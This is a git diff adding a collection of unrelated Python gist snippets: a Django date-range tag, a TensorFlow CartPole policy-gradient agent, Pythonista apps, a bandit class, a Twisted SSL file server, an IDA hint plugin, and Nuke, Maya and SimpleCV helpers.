Binary files /dev/null and b/hard-gists/5358040/._snippet.py differ
diff --git a/hard-gists/5358040/snippet.py b/hard-gists/5358040/snippet.py
new file mode 100644
index 00000000..5ffb880c
--- /dev/null
+++ b/hard-gists/5358040/snippet.py
@@ -0,0 +1,19 @@
+from django import template
+
+register = template.Library()
+
+@register.simple_tag
+def format_date_range(date_from, date_to, separator=" - ",
+    format_str="%B %d, %Y", year_f=", %Y", month_f="%B", date_f=" %d"):
+    """ Takes a start date, end date, separator and formatting strings and
+        returns a pretty date range string
+    """
+    if (date_to and date_to != date_from):
+        from_format = to_format = format_str
+        if (date_from.year == date_to.year):
+            from_format = from_format.replace(year_f, '')
+            if (date_from.month == date_to.month):
+                to_format = to_format.replace(month_f, '')
+        return separator.join((date_from.strftime(from_format), date_to.strftime(to_format)))
+    else:
+        return date_from.strftime(format_str)
\ No newline at end of file
diff --git a/hard-gists/535acf4c62ee2a71da498281c2dfc4f4/._snippet.py b/hard-gists/535acf4c62ee2a71da498281c2dfc4f4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/535acf4c62ee2a71da498281c2dfc4f4/._snippet.py differ
diff --git a/hard-gists/535acf4c62ee2a71da498281c2dfc4f4/snippet.py b/hard-gists/535acf4c62ee2a71da498281c2dfc4f4/snippet.py
new file mode 100644
index 00000000..589c0b21
--- /dev/null
+++ b/hard-gists/535acf4c62ee2a71da498281c2dfc4f4/snippet.py
@@ -0,0 +1,144 @@
+#!/usr/bin/env python
+
+import gym
+import numpy as np
+import tensorflow as tf
+
+
+class PolicyGradientAgent(object):
+
+    def __init__(self, hparams, sess):
+
+        # initialization
+        self._s = sess
+
+        # build the graph
+        self._input = tf.placeholder(tf.float32,
+                shape=[None, hparams['input_size']])
+
+        hidden1 = tf.contrib.layers.fully_connected(
+                inputs=self._input,
+                num_outputs=hparams['hidden_size'],
+                activation_fn=tf.nn.relu,
+                weights_initializer=tf.random_normal)
+
+        logits = tf.contrib.layers.fully_connected(
+                inputs=hidden1,
+                num_outputs=hparams['num_actions'],
+                activation_fn=None)
+
+        # op to sample an action
+        self._sample = tf.reshape(tf.multinomial(logits, 1), [])
+
+        # get log probabilities
+        log_prob = tf.log(tf.nn.softmax(logits))
+
+        # training part of graph
+        self._acts = tf.placeholder(tf.int32)
+        self._advantages = tf.placeholder(tf.float32)
+
+        # get log probs of actions from episode
+        indices = tf.range(0, tf.shape(log_prob)[0]) * tf.shape(log_prob)[1] + self._acts
+        act_prob = tf.gather(tf.reshape(log_prob, [-1]), indices)
+
+        # surrogate loss
+        loss = -tf.reduce_sum(tf.mul(act_prob, self._advantages))
+
+        # update
+        optimizer = tf.train.RMSPropOptimizer(hparams['learning_rate'])
+        self._train = optimizer.minimize(loss)
+
+    def act(self, observation):
+        # get one action, by sampling
+        return self._s.run(self._sample, feed_dict={self._input: [observation]})
+
+    def train_step(self, obs, acts, advantages):
+        batch_feed = { self._input: obs, \
+                self._acts: acts, \
+                self._advantages: advantages }
+        self._s.run(self._train, feed_dict=batch_feed)
+
+
+def policy_rollout(env, agent):
+    """Run one episode."""
+
+    observation, reward, done = env.reset(), 0, False
+    obs, acts, rews = [], [], []
+
+    while not done:
+
+        env.render()
+        obs.append(observation)
+
+        action = agent.act(observation)
+        observation, reward, done, _ = env.step(action)
+
+        acts.append(action)
+        rews.append(reward)
+
+    return obs, acts, rews
+
+
+def process_rewards(rews):
+    """Rewards -> Advantages for one episode. """
+
+    # total reward: length of episode
+    return [len(rews)] * len(rews)
+
+
+def main():
+
+    env = gym.make('CartPole-v0')
+
+    monitor_dir = '/tmp/cartpole_exp1'
+    env.monitor.start(monitor_dir, force=True)
+
+    # hyper parameters
+    hparams = {
+            'input_size': env.observation_space.shape[0],
+            'hidden_size': 36,
+            'num_actions': env.action_space.n,
+            'learning_rate': 0.1
+    }
+
+    # environment params
+    eparams = {
+            'num_batches': 40,
+            'ep_per_batch': 10
+    }
+
+    with tf.Graph().as_default(), tf.Session() as sess:
+
+        agent = PolicyGradientAgent(hparams, sess)
+
+        sess.run(tf.initialize_all_variables())
+
+        for batch in xrange(eparams['num_batches']):
+
+            print '=====\nBATCH {}\n===='.format(batch)
+
+            b_obs, b_acts, b_rews = [], [], []
+
+            for _ in xrange(eparams['ep_per_batch']):
+
+                obs, acts, rews = policy_rollout(env, agent)
+
+                print 'Episode steps: {}'.format(len(obs))
+
+                b_obs.extend(obs)
+                b_acts.extend(acts)
+
+                advantages = process_rewards(rews)
+                b_rews.extend(advantages)
+
+            # update policy
+            # normalize rewards; don't divide by 0
+            b_rews = (b_rews - np.mean(b_rews)) / (np.std(b_rews) + 1e-10)
+
+            agent.train_step(b_obs, b_acts, b_rews)
+
+        env.monitor.close()
+
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/5372873/._snippet.py b/hard-gists/5372873/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5372873/._snippet.py differ
diff --git a/hard-gists/5372873/snippet.py b/hard-gists/5372873/snippet.py
new file mode 100644
index 00000000..bc427fe9
--- /dev/null
+++ b/hard-gists/5372873/snippet.py
@@ -0,0 +1,96 @@
+#!/usr/bin/python
+# -*- coding: utf8 -*-
+
+# SAMPLE SUBMISSION TO THE BIG DATA HACKATHON 13-14 April 2013 'Influencers in a Social Network'
+# .... more info on Kaggle and links to go here
+#
+# written by Ferenc Huszár, PeerIndex
+
+from sklearn import linear_model
+from sklearn.metrics import auc_score
+import numpy as np
+
+###########################
+# LOADING TRAINING DATA
+###########################
+
+trainfile = open('train.csv')
+header = trainfile.next().rstrip().split(',')
+
+y_train = []
+X_train_A = []
+X_train_B = []
+
+for line in trainfile:
+    splitted = line.rstrip().split(',')
+    label = int(splitted[0])
+    A_features = [float(item) for item in splitted[1:12]]
+    B_features = [float(item) for item in splitted[12:]]
+    y_train.append(label)
+    X_train_A.append(A_features)
+    X_train_B.append(B_features)
+trainfile.close()
+
+y_train = np.array(y_train)
+X_train_A = np.array(X_train_A)
+X_train_B = np.array(X_train_B)
+
+###########################
+# EXAMPLE BASELINE SOLUTION USING SCIKIT-LEARN
+#
+# using scikit-learn LogisticRegression module without fitting intercept
+# to make it more interesting instead of using the raw features we transform them logarithmically
+# the input to the classifier will be the difference between transformed features of A and B
+# the method roughly follows this procedure, except that we already start with pairwise data
+# http://fseoane.net/blog/2012/learning-to-rank-with-scikit-learn-the-pairwise-transform/
+###########################
+
+def transform_features(x):
+    return np.log(1+x)
+
+X_train = transform_features(X_train_A) - transform_features(X_train_B)
+model = linear_model.LogisticRegression(fit_intercept=False)
+model.fit(X_train,y_train)
+# compute AuC score on the training data (BTW this is kind of useless due to overfitting, but hey, this is only an example solution)
+p_train = model.predict_proba(X_train)
+p_train = p_train[:,1:2]
+print 'AuC score on training data:',auc_score(y_train,p_train.T)
+
+###########################
+# READING TEST DATA
+###########################
+
+testfile = open('test.csv')
+#ignore the test header
+testfile.next()
+
+X_test_A = []
+X_test_B = []
+for line in testfile:
+    splitted = line.rstrip().split(',')
+    A_features = [float(item) for item in splitted[0:11]]
+    B_features = [float(item) for item in splitted[11:]]
+    X_test_A.append(A_features)
+    X_test_B.append(B_features)
+testfile.close()
+
+X_test_A = np.array(X_test_A)
+X_test_B = np.array(X_test_B)
+
+# transform features in the same way as for training to ensure consistency
+X_test = transform_features(X_test_A) - transform_features(X_test_B)
+# compute probabilistic predictions
+p_test = model.predict_proba(X_test)
+#only need the probability of the 1 class
+p_test = p_test[:,1:2]
+
+###########################
+# WRITING SUBMISSION FILE
+###########################
+predfile = open('predictions.csv','w+')
+
+print >>predfile,','.join(header)
+for line in np.concatenate((p_test,X_test_A,X_test_B),axis=1):
+    print >>predfile, ','.join([str(item) for item in line])
+
+predfile.close()
\ No newline at end of file
diff --git a/hard-gists/5377033/._snippet.py b/hard-gists/5377033/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5377033/._snippet.py differ
diff --git a/hard-gists/5377033/snippet.py b/hard-gists/5377033/snippet.py
new file mode 100644
index 00000000..7cd31820
--- /dev/null
+++ b/hard-gists/5377033/snippet.py
@@ -0,0 +1,76 @@
+import time
+import sound
+from scene import *
+		
+
+class TeaTimer(Scene):
+	def setup(self):
+		self.initial_time = int(60 * 1.5)
+		self.remaining_time = self.initial_time
+		self.center_x = self.size.w * 0.5
+		self.center_y = self.size.h * 0.5
+		self._state = 'start'
+	
+	def decrement_remaining_time(self):
+		self.remaining_time -= 1
+	
+	def start(self):
+		self._state = 'running'
+		
+		# Set all the delays. This kinda sucks & is ripe for fixing somehow.
+		for i in range(self.initial_time):
+			self.delay(i, self.decrement_remaining_time)
+	
+	def time_remaining(self):
+		return {
+			'minutes': int(self.remaining_time / 60),
+			'seconds': int(self.remaining_time % 60),
+		}
+	
+	def draw(self):
+		background(0, 0, 0)
+		text("Tea will be done in:", font_size=32, x=self.center_x, y=self.center_y+80)
+		time_left = self.time_remaining()
+		
+		# Update the text layer.
+		text(
+			"{0} min, {1} sec".format(time_left['minutes'], time_left['seconds']),
+		    font_size=80.0,
+			x=self.center_x,
+			y=self.center_y
+		)
+		
+		if self.remaining_time <= 0:
+			# Sound + alert that it's finished.
+			if not self._state == 'complete':
+				self.stop()
+	
+	def done_alert(self):
+		sound.play_effect('Piano_C3')
+		sound.play_effect('Piano_E3')
+		sound.play_effect('Piano_G3')
+			
+	def stop(self):
+		self._state = 'complete'
+		
+		for i in range(3):
+			self.delay(i, self.done_alert)
+		
+	def touch_began(self, touch):
+		pass
+	
+	def touch_moved(self, touch):
+		pass
+
+	def touch_ended(self, touch):
+		if self._state == 'start':
+			self.start()
+		elif self._state == 'running':
+			# Stop & clear.
+			pass
+		elif self._state == 'complete':
+			self._state = 'start'
+			self.remaining_time = self.initial_time
+
+
+run(TeaTimer())
diff --git a/hard-gists/5378938/._snippet.py b/hard-gists/5378938/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5378938/._snippet.py differ
diff --git a/hard-gists/5378938/snippet.py b/hard-gists/5378938/snippet.py
new file mode 100644
index 00000000..4f6cab06
--- /dev/null
+++ b/hard-gists/5378938/snippet.py
@@ -0,0 +1,114 @@
+import sys
+import math
+from random import random
+from PIL import Image, ImageOps, ImageEnhance
+
+def dot(bits):
+    bits = bits & 7 | (bits & 112) >> 1 | (bits & 8) << 3 | bits & 128
+    return unichr(0x2800 + bits)
+
+class Grayscale24:
+    GRAY_START = 232
+    ADJUST_FACTOR = 1.6
+
+    def prepare(self, image):
+        image = ImageOps.grayscale(image)
+        return ImageEnhance.Brightness(image).enhance(1 / self.ADJUST_FACTOR)
+
+    def extract_colors(self, octet):
+        c1 = self.encode(min(octet))
+        c2 = self.encode(max(octet), ceil=True)
+
+        if c1 == c2:
+            c2 = max(self.GRAY_START, min(255, c2 + 1))
+            if c1 == c2:
+                c1 = max(self.GRAY_START, min(255, c1 - 1))
+
+        return c1, c2
+
+    def dist(self, v1, v2):
+        return abs(v1 - v2)
+
+    def encode(self, value, ceil=False):
+        value /= 11.086
+        if ceil:
+            return self.GRAY_START + int(math.ceil(value))
+        else:
+            return self.GRAY_START + int(math.floor(value))
+
+    def decode(self, value):
+        return int((value - self.GRAY_START) * 11.086)
+
+    def color(self, value, c1, c2):
+        c1 = self.decode(c1)
+        c2 = self.decode(c2)
+
+        if self.dist(c1, c2) == 0:
+            return True
+
+        d = float(self.dist(value, c1)) / self.dist(c1, c2)
+        d = 1.0 / (1 + math.exp(-5.0 * self.dist(c1, c2) / 16 * (d - 0.5)))
+
+        return random() < d
+
+    def calc(self, octet):
+        c1, c2 = self.extract_colors(octet)
+
+        c3 = int(c1 + (c2 - c1) * self.ADJUST_FACTOR) - self.GRAY_START
+        c3 = max(0, min(23, c3))
+        c3 += self.GRAY_START
+
+        r = reduce(lambda r, i: r | self.color(octet[i], c1, c2) << i, range(8), 0)
+        r = dot(r).encode('utf8')
+
+        return c1, c3, r
+
+if len(sys.argv) > 1:
+    filename = sys.argv[1]
+else:
+    filename = '/usr/local/Cellar/macvim/7.3-66/MacVim.app/Contents/Resources/MacVim.icns'
+
+if len(sys.argv) > 2:
+    maxsize = int(sys.argv[2])
+else:
+    maxsize = 128
+
+i = Image.open(filename)
+w, h = i.size
+
+if w > maxsize:
+    w, h = maxsize, h * maxsize / w
+
+if h > maxsize:
+    w, h = w * maxsize / h, maxsize
+
+i = ImageOps.fit(i, (w, h), Image.BICUBIC, 0, (0, 0))
+
+g = Grayscale24()
+i = g.prepare(i)
+
+pix = i.load()
+
+print filename
+print "{0} x {1}".format(w, h)
+
+
+for y in range(h/4):
+    pc1, pc2 = None, None
+    for x in range(w/2):
+        octet = [pix[x * 2 + ((i & 4) >> 2), y * 4 + (i & 3)] for i in range(8)]
+
+        c1, c2, r = g.calc(octet)
+
+        if pc1 != c1:
+            sys.stdout.write('\033[48;5;{0}m'.format(c1))
+
+        if pc2 != c2:
+            sys.stdout.write('\033[38;5;{0}m'.format(c2))
+
+        sys.stdout.write(r)
+
+        pc1, pc2 = c1, c2
+
+    print "\033[0m"
+print
\ No newline at end of file
diff --git a/hard-gists/5380169/._snippet.py b/hard-gists/5380169/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5380169/._snippet.py differ
diff --git a/hard-gists/5380169/snippet.py b/hard-gists/5380169/snippet.py
new file mode 100644
index 00000000..104a488f
--- /dev/null
+++ b/hard-gists/5380169/snippet.py
@@ -0,0 +1,51 @@
+# http://omz-forums.appspot.com/pythonista/post/5144563366756352
+
+import random, scene
+ 
+sizeInPixels = 100
+ 
+def rectFromPt(inPoint):  # returns a scene.Rect centered on inPoint
+    half = sizeInPixels / 2
+    return scene.Rect(inPoint.x - half, inPoint.y - half, sizeInPixels, sizeInPixels)
+ 
+class ImageLayer(scene.Layer):
+    def __init__(self, inCenter, inImage):
+        super(self.__class__, self).__init__(rectFromPt(inCenter))
+        self.image = inImage
+        
+class MyScene(scene.Scene):
+    def __init__(self):
+        scene.run(self)  # a self running scene
+
+    def setup(self):
+        #centerOfScreen = self.bounds.center()
+        thePoint = scene.Point(10 + sizeInPixels / 2, 10 + sizeInPixels / 2)
+        images = 'Rabbit_Face Mouse_Face Cat_Face Dog_Face Octopus Bear_Face Chicken Cow_Face'
+        images = images.split()
+        for image in images:
+            scene.load_image(image)
+        images *= 2 # go from 8 images to 16
+        random.shuffle(images)
+        for image in images:
+            self.add_layer(ImageLayer(thePoint, image))
+            thePoint.x += 10 + sizeInPixels / 3
+            thePoint.y = thePoint.x
+        self.touchedLayer = None
+        
+    def draw(self):
+        scene.background(0, 0, 0)
+        self.root_layer.update(self.dt)
+        self.root_layer.draw()
+ 
+    def touch_began(self, touch):
+        if touch.layer != self.root_layer:
+            self.touchedLayer = touch.layer
+ 
+    def touch_moved(self, touch):
+        if self.touchedLayer:
+            self.touchedLayer.frame = rectFromPt(touch.location)
+ 
+    def touch_ended(self, touch):
+        self.touchedLayer = None
+ 
+MyScene()  # a self running scene
\ No newline at end of file
diff --git a/hard-gists/5382778/._snippet.py b/hard-gists/5382778/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5382778/._snippet.py differ
diff --git a/hard-gists/5382778/snippet.py b/hard-gists/5382778/snippet.py
new file mode 100644
index 00000000..6f33c344
--- /dev/null
+++ b/hard-gists/5382778/snippet.py
@@ -0,0 +1,87 @@
+from __future__ import division
+from scene import *
+from math import sqrt, pi
+import sound
+
+button_pad = [['ans', 'pi', 'sqrt(', '%'],
+              ['(', ')', '*', '/'],
+              ['7', '8', '9', '-'],
+              ['4', '5', '6', '+'],
+              ['1', '2', '3', '='],
+              ['0', '.', '<--', 'c']]
+
+class Calculator (Scene):
+	def setup(self):
+		sound.set_volume(1)
+		self.root_layer = Layer(self.bounds)
+		self.user_input = {'ans':'', 'text':''}
+		self.buttons = []
+		self.create_buttons()
+	
+	def create_buttons(self):
+		width, height = self.size
+		for y in xrange(len(button_pad)):
+			for x in xrange(len(button_pad[y])):
+				w = (width)/len(button_pad[y])
+				h = (height-height/5)/len(button_pad)
+				r = Rect(x * w, (height-height/5-h)-(y*h), w, h)
+				button = Button(r, button_pad[y][x])
+				if button_pad[y][x] != ' ':
+					button.txt = button_pad[y][x]
+				self.buttons.append(button)
+		for button in self.buttons:
+			button.touched = False
+			self.root_layer.add_layer(button)
+			
+	def calculate(self):
+		try: 
+			self.user_input['ans'] = str(eval(self.user_input['text']))
+			self.user_input['text'] = self.user_input['ans']
+		except Exception as e:
+			pass 
+	
+	def draw(self):
+		width, height = self.size
+		background(1,1,1)
+		text(str(self.user_input['text']), x=width, y=height-height/6.7, font_size=height/20, alignment=4)
+		for button in self.buttons:
+			button.draw()
+	
+	def touch_began(self, touch):
+		for button in self.buttons:
+			if touch.location in button.frame:
+				button.touch_began(touch)
+	
+	def touch_moved(self, touch):
+		for button in self.buttons:
+			button.touch_moved(touch)
+			
+	def touch_ended(self, touch):
+		for button in self.buttons:
+			button.touch_ended(touch)
+			if touch.location in button.frame:
+				button.touched = True
+			if button.touched:
+				sound.play_effect('Click_1')
+				if button.txt == 'c':
+					self.user_input['text'] = ''
+				elif button.txt == '<--':
+					self.user_input['text'] = self.user_input['text'][:-1]
+				elif button.txt == 'ans':
+					self.user_input['text'] += self.user_input['ans']
+				elif button.txt == '%':
+					try:
+						self.user_input['ans'] = str(eval(self.user_input['text'])/100)
+						self.user_input['text'] = self.user_input['ans']
+					except SyntaxError as e:
+						pass  
+				elif button.txt == '=':
+					self.calculate()
+				else: 
+					try: 
+						self.user_input['text'] += button.txt
+					except AttributeError:
+						pass 
+			button.touched = False 
+
+run(Calculator())
diff --git a/hard-gists/5383149/._snippet.py b/hard-gists/5383149/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5383149/._snippet.py differ
diff --git a/hard-gists/5383149/snippet.py b/hard-gists/5383149/snippet.py
new file mode 100644
index 00000000..0abe23f5
--- /dev/null
+++ b/hard-gists/5383149/snippet.py
@@ -0,0 +1,26 @@
+from numpy import *
+from scipy.stats import beta
+
+
+class BetaBandit(object):
+    def __init__(self, num_options=2, prior=(1.0,1.0)):
+        self.trials = zeros(shape=(num_options,), dtype=int)
+        self.successes = zeros(shape=(num_options,), dtype=int)
+        self.num_options = num_options
+        self.prior = prior
+
+    def add_result(self, trial_id, success):
+        self.trials[trial_id] = self.trials[trial_id] + 1
+        if (success):
+            self.successes[trial_id] = self.successes[trial_id] + 1
+
+    def get_recommendation(self):
+        sampled_theta = []
+        for i in range(self.num_options):
+            #Construct beta distribution for posterior
+            dist = beta(self.prior[0]+self.successes[i],
+                        self.prior[1]+self.trials[i]-self.successes[i])
+            #Draw sample from beta distribution
+            sampled_theta += [ dist.rvs() ]
+        # Return the index of the sample with the largest value
+        return sampled_theta.index( max(sampled_theta) )
diff --git a/hard-gists/539928493c4e74b3ec112f4cf4a6df91/._snippet.py b/hard-gists/539928493c4e74b3ec112f4cf4a6df91/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/539928493c4e74b3ec112f4cf4a6df91/._snippet.py differ
diff --git a/hard-gists/539928493c4e74b3ec112f4cf4a6df91/snippet.py b/hard-gists/539928493c4e74b3ec112f4cf4a6df91/snippet.py
new file mode 100644
index 00000000..5b26b140
--- /dev/null
+++ b/hard-gists/539928493c4e74b3ec112f4cf4a6df91/snippet.py
@@ -0,0 +1,71 @@
+#!/usr/bin/env python
+
+"""
+Twisted SSL webserver with basic authentication using plain in-memory passwords. 
+The first argument is the path of the directory to serve; if not provided then the current folder is used (".").
+
+INSTALL DEPENDENCIES:
+    pip install twisted
+    pip install pyOpenSSL
+    pip install service_identity
+    
+GENERATE SSL CERTIFICATES:
+    mkdir ~/.ssl && cd ~/.ssl
+    openssl genrsa > privkey.pem
+    openssl req -new -x509 -key privkey.pem -out cacert.pem -days 9999
+
+Requires running as root (normal users cannot bind to ports below 1024).
+
+"""
+import os
+import sys
+
+from twisted.web.static import File
+from zope.interface import implements
+
+from twisted.python import log
+from twisted.internet import reactor, ssl
+from twisted.web import server, resource, guard
+from twisted.cred.portal import IRealm, Portal
+from twisted.cred.checkers import InMemoryUsernamePasswordDatabaseDontUse
+from twisted.python.log import startLogging
+
+startLogging(sys.stdout)
+home_dir = os.path.expanduser("~")
+
+sslContext = ssl.DefaultOpenSSLContextFactory(
+    os.path.join(home_dir, '.ssl/privkey.pem'),
+    os.path.join(home_dir, '.ssl/cacert.pem'),
+)
+
+class SimpleRealm(object):
+    """
+    A realm which gives out L{GuardedResource} instances for authenticated
+    users.
+    """
+    implements(IRealm)
+
+    def __init__(self, path):
+        self.path = path
+
+    def requestAvatar(self, avatarId, mind, *interfaces):
+        if resource.IResource in interfaces:
+            return resource.IResource, File(self.path), lambda: None
+        raise NotImplementedError()
+
+
+def main(root):
+    log.startLogging(sys.stdout)
+    checkers = [InMemoryUsernamePasswordDatabaseDontUse(test_user='test_password')]
+    wrapper = guard.HTTPAuthSessionWrapper(
+        Portal(SimpleRealm(root), checkers),
+        [guard.DigestCredentialFactory('md5', 'whatever.com')])
+
+    reactor.listenSSL(443, server.Site(resource=wrapper),
+                      contextFactory=sslContext)
+    reactor.run()
+
+
+if __name__ == '__main__':
+    root = len(sys.argv) > 1 and sys.argv[1] or '.'
+    main(root)
diff --git a/hard-gists/539a9ec008b1e5b3b7fd/._snippet.py b/hard-gists/539a9ec008b1e5b3b7fd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/539a9ec008b1e5b3b7fd/._snippet.py differ
diff --git a/hard-gists/539a9ec008b1e5b3b7fd/snippet.py b/hard-gists/539a9ec008b1e5b3b7fd/snippet.py
new file mode 100644
index 00000000..a608a3ac
--- /dev/null
+++ b/hard-gists/539a9ec008b1e5b3b7fd/snippet.py
@@ -0,0 +1,62 @@
+# 
+# Show a hint when the user's mouse is on a register
+#
+from idaapi import *
+import idautils
+
+def extract_reg(line, cx):
+    linelen = len(line)
+    if cx >= linelen:
+        return
+
+    walker_cx = 0
+    byte_idx = 0
+    last_reg_start_idx = None
+    while walker_cx <= cx and byte_idx < linelen:
+        cur = line[byte_idx]
+        #print "byte_idx=%d, walker_cx=%d, cur=%d (%s)" % (byte_idx, walker_cx, ord(cur), "N/A" if ord(cur) < 32 or ord(cur) > 122 else cur)
+        if cur == COLOR_ON:
+            if ord(line[byte_idx + 1]) == COLOR_REG:
+                last_reg_start_idx = byte_idx + 2
+            byte_idx += 2
+        elif cur == COLOR_OFF:
+            if ord(line[byte_idx + 1]) == COLOR_REG:
+                last_reg_start_idx = None
+            byte_idx += 2
+        else:
+            byte_idx += 1
+            walker_cx += 1
+
+    if last_reg_start_idx:
+        last_reg_end_idx = last_reg_start_idx
+        while line[last_reg_end_idx] != COLOR_OFF and last_reg_end_idx < linelen:
+            last_reg_end_idx += 1
+        return line[last_reg_start_idx:last_reg_end_idx]
+
+class Hooks(UI_Hooks):
+
+
+    def get_custom_viewer_hint(self, view, place):
+
+        from_mouse = True
+
+        # get current line
+        line = get_custom_viewer_curline(view, from_mouse)
+
+        # get current X, Y in rows&columns space (as opposed to pixel space)
+        _, cx, cy = get_custom_viewer_place(view, from_mouse)
+
+        reg = extract_reg(line, cx)
+        regstr = str(reg) if reg else ""
+        insn = idautils.DecodeInstruction(place.toea())
+
+        hintStr  = ""
+        hintStr += "Instruction is : %s\n" % insn.get_canon_mnem()
+        hintStr += "Register: %s" % regstr
+
+        if insn:
+            return (hintStr, 2)
+
+
+uihook = Hooks()
+uihook.hook()
\ No newline at end of file
diff --git a/hard-gists/53aad9bb83b233b523270c30d36e4c81/._snippet.py b/hard-gists/53aad9bb83b233b523270c30d36e4c81/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/53aad9bb83b233b523270c30d36e4c81/._snippet.py differ
diff --git a/hard-gists/53aad9bb83b233b523270c30d36e4c81/snippet.py b/hard-gists/53aad9bb83b233b523270c30d36e4c81/snippet.py
new file mode 100644
index 00000000..e2146737
--- /dev/null
+++ b/hard-gists/53aad9bb83b233b523270c30d36e4c81/snippet.py
@@ -0,0 +1,31 @@
+# -*- coding: utf-8 -*-
+# Usage: python view-graph.py graph.pb
+import sys
+import tensorflow as tf
+from os.path import isfile
+from tensorflow.python.platform import gfile
+import webbrowser
+from subprocess import Popen
+import time
+
+model_filename = sys.argv[1]
+if not isfile(model_filename):
+    print("%s not found" % model_filename)
+    exit()
+with tf.Session() as sess:
+    with gfile.FastGFile(model_filename, 'rb') as f:
+        graph_def = tf.GraphDef()
+        graph_def.ParseFromString(f.read())
+        g_in = tf.import_graph_def(graph_def)
+LOGDIR = model_filename + "-run"
+train_writer = tf.summary.FileWriter(LOGDIR)
+train_writer.add_graph(sess.graph)
+
+p = Popen(['python', '-m', 'tensorflow.tensorboard', '--logdir', LOGDIR])
+time.sleep(2)
+webbrowser.open("http://127.0.0.1:6006/#graphs")
+try:
+    while True:
+        time.sleep(60 * 60 * 24)
+except KeyboardInterrupt:
+    p.terminate()
\ No newline at end of file
diff --git a/hard-gists/5400853/._snippet.py b/hard-gists/5400853/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5400853/._snippet.py differ
diff --git a/hard-gists/5400853/snippet.py b/hard-gists/5400853/snippet.py
new file mode 100644
index 00000000..c451b5e6
--- /dev/null
+++ b/hard-gists/5400853/snippet.py
@@ -0,0 +1,48 @@
+import nuke
+
+
+def duplicate_node(node, to_file = None):
+    """Slightly convoluted but reliable(?) way duplicate a node, using
+    the same functionality as the regular copy and paste.
+
+    Could almost be done tidily by doing:
+
+    for knobname in src_node.knobs():
+        value = src_node[knobname].toScript()
+        new_node[knobname].fromScript(value)
+
+    ..but this lacks some subtly like handling custom knobs
+
+    to_file can be set to a string, and the node will be written to a
+    file instead of duplicated in the tree
+    """
+
+    # Store selection
+    orig_selection = nuke.selectedNodes()
+
+    # Select only the target node
+    [n.setSelected(False) for n in nuke.selectedNodes()]
+    node.setSelected(True)
+
+    # If writing to a file, do that, restore the selection and return
+    if to_file is not None:
+        nuke.nodeCopy(to_file)
+        [n.setSelected(False) for n in orig_selection]
+        return
+
+
+    # Copy the selected node and clear selection again
+    nuke.nodeCopy("%clipboard%")
+    node.setSelected(False)
+
+    if to_file is None:
+        # If not writing to a file, call paste function, and the new node
+        # becomes the selected
+        nuke.nodePaste("%clipboard%")
+        new_node = nuke.selectedNode()
+
+    # Restore original selection
+    [n.setSelected(False) for n in nuke.selectedNodes()] # Deselect all
+    [n.setSelected(True) for n in orig_selection] # Select originally selected
+
+    return new_node
diff --git a/hard-gists/5403877/._snippet.py b/hard-gists/5403877/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5403877/._snippet.py differ
diff --git a/hard-gists/5403877/snippet.py b/hard-gists/5403877/snippet.py
new file mode 100644
index 00000000..868329a1
--- /dev/null
+++ b/hard-gists/5403877/snippet.py
@@ -0,0 +1,55 @@
+from PySide import QtCore, QtGui
+from shiboken import wrapInstance
+import maya.OpenMayaUI as apiUI
+import sys
+
+def getMayaWindow():
+    """
+    Get the main Maya window as a QtGui.QMainWindow instance
+    @return: QtGui.QMainWindow instance of the top level Maya windows
+    """
+    ptr = apiUI.MQtUtil.mainWindow()
+    if ptr is not None:
+        return wrapInstance(long(ptr), QtGui.QMainWindow)
+        
+class HelloWorld(QtGui.QDialog):
+    def __init__(self,  parent=getMayaWindow()):
+        super(HelloWorld, self).__init__(parent)
+        self.initUI()
+         
+    def initUI(self):
+        
+        # layout
+        self.setLayout(QtGui.QVBoxLayout())
+        
+        # add tabs
+        self.tab_widget = QtGui.QTabWidget()
+        self.layout().addWidget(self.tab_widget)
+        self.tab_widget.addTab(MyButtons(), "One")
+        self.tab_widget.addTab(MyButtons(), "Two")
+        self.tab_widget.addTab(MyButtons(), "Three")
+ 
+        self.show()
+        
+        
+class MyButtons(QtGui.QWidget):
+    def __init__(self, parent=None):
+        super(MyButtons, self).__init__(parent)
+
+        # layout
+        self.setLayout(QtGui.QVBoxLayout())
+
+        # buttons
+        for name in ['One', 'Two', 'Three']:
+
+            btn =QtGui.QPushButton(name)
+            self.layout().addWidget(btn)
+            btn.clicked.connect(self.buttonClicked)
+
+    def buttonClicked(self):
+
+        sender = self.sender()
+        sys.stdout.write(sender.text() + ' was pressed\n')
+        
+                 
+ex = HelloWorld()
diff --git a/hard-gists/5406587/._snippet.py b/hard-gists/5406587/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5406587/._snippet.py differ
diff --git a/hard-gists/5406587/snippet.py b/hard-gists/5406587/snippet.py
new file mode 100644
index 00000000..308b89a2
--- /dev/null
+++ b/hard-gists/5406587/snippet.py
@@ -0,0 +1,22 @@
+from SimpleCV import Image, Color, Display
+
+# Make a function that does a half and half image.
+def halfsies(left,right): 
+    result = left
+    # crop the right image to be just the right side.
+    crop   = right.crop(right.width/2.0,0,right.width/2.0,right.height)
+    # now paste the crop on the left image.
+    result = result.blit(crop,(left.width/2,0))
+    # return the results.
+    return result
+# Load an image from imgur.
+img = Image('http://i.imgur.com/lfAeZ4n.png')
+# binarize the image using a threshold of 90 
+# and invert the results.
+output = img.binarize(90).invert()
+# create the side by side image.
+result = halfsies(img,output)
+# show the resulting image.
+result.show()
+# save the results to a file. 
+result.save('juniperbinary.png')
\ No newline at end of file
diff --git a/hard-gists/540687/._snippet.py b/hard-gists/540687/._snippet.py
new file mode 100644
index 00000000..cd8af967
